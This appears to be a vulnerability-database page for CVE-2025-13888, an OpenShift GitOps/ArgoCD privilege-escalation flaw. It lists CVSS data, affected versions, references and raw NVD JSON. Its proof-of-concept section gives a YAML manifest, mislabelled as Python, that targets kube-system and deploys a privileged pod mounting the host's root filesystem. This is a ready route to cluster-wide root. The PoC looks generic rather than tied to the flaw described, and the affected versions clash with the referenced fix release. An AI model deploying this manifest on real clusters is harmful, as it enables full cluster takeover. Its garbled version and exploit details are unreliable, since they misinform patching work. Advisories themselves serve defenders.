CVE-2025-13888

Description

A flaw was found in OpenShift GitOps. Namespace admins can create ArgoCD Custom Resources (CRs) that trick the system into granting them elevated permissions in other namespaces, including privileged namespaces. An authenticated attacker can then use these elevated permissions to create privileged workloads that run on master nodes, effectively giving them root access to the entire cluster.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Red Hat OpenShift GitOps 1.10.x < 1.10.9

Red Hat OpenShift GitOps 1.11.x < 1.11.4

Red Hat OpenShift GitOps 1.12.x < 1.12.1

ArgoCD (upstream) versions with similar RBAC misconfiguration

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-13888 PoC - Malicious ArgoCD Application to Escalate Privileges
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: malicious-app
  namespace: attacker-namespace
spec:
  project: default
  source:
    repoURL: 'https://git.example.com/malicious-repo.git'
    targetRevision: HEAD
    path: malicious-payload
  destination:
    server: 'https://kubernetes.default.svc'
    namespace: kube-system  # Target privileged namespace
---
# Malicious Pod definition that will be deployed
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
  namespace: kube-system
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: evil
    image: ubuntu:latest
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
  tolerations:
  - operator: Exists

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13888
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13888
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13888/
[4] VulDB https://vuldb.com/cve/CVE-2025-13888
[5] https://access.redhat.com/errata/RHSA-2025:23203
[6] https://access.redhat.com/errata/RHSA-2025:23206
[7] https://access.redhat.com/errata/RHSA-2025:23207
[8] https://access.redhat.com/errata/RHSA-2026:1017
[9] https://access.redhat.com/security/cve/CVE-2025-13888
[10] https://bugzilla.redhat.com/show_bug.cgi?id=2418361
[11] https://github.com/redhat-developer/gitops-operator/commit/bc6ac3e03d7c8b3db5d8f1770c868396a4c2dcef
[12] https://github.com/redhat-developer/gitops-operator/pull/897
[13] https://github.com/redhat-developer/gitops-operator/releases/tag/v1.16.2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13888", "sourceIdentifier": "[email protected]", "published": "2025-12-15T16:15:50.333", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in OpenShift GitOps. Namespace admins can create ArgoCD Custom Resources (CRs) that trick the system into granting them elevated permissions in other namespaces, including privileged namespaces. An authenticated attacker can then use these elevated permissions to create privileged workloads that run on master nodes, effectively giving them root access to the entire cluster."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:23203", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23206", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23207", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:1017", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-13888", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418361", "source": "[email protected]"}, {"url": "https://github.com/redhat-developer/gitops-operator/commit/bc6ac3e03d7c8b3db5d8f1770c868396a4c2dcef", "source": "[email protected]"}, {"url": "https://github.com/redhat-developer/gitops-operator/pull/897", "source": "[email protected]"}, {"url": "https://github.com/redhat-developer/gitops-operator/releases/tag/v1.16.2", "source": "[email protected]"}]}}